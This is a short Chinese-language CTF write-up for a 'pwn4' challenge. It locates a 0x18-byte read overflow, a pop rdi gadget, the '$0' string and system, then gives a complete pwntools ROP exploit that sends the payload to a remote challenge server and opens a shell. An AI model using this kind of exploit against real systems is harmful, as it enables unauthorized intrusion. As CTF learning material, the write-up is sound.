标签:pwn4 shell p64 system add 64 pwn rdi
依旧是先检查文件的类型和保护 64位没有保护
用IDA看看,read存在溢出,溢出0x18(不懂可以翻阅前面的博客)
函数system可以调用指令
shift+F12看看
$0在Linux中是shell的名称
那么我们可以利用system函数调用$0来getshell,因为是64位,需要用rdi寄存器来给system传值
现在找一下rdi的地址和$0的地址
现在还需要system的地址
现在就可以编写exp
from pwn import * r=remote('114.116.54.89',10004) rdi_add=0x4007D3 shell_add=0x60111F sys_add=0x40075A payload='a'*0x18+p64(rdi_add)+p64(shell_add)+p64(sys_add) r.sendline(payload) r.interactive()
标签:pwn4,shell,p64,system,add,64,pwn,rdi 来源: https://www.cnblogs.com/gaonuoqi/p/11646005.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。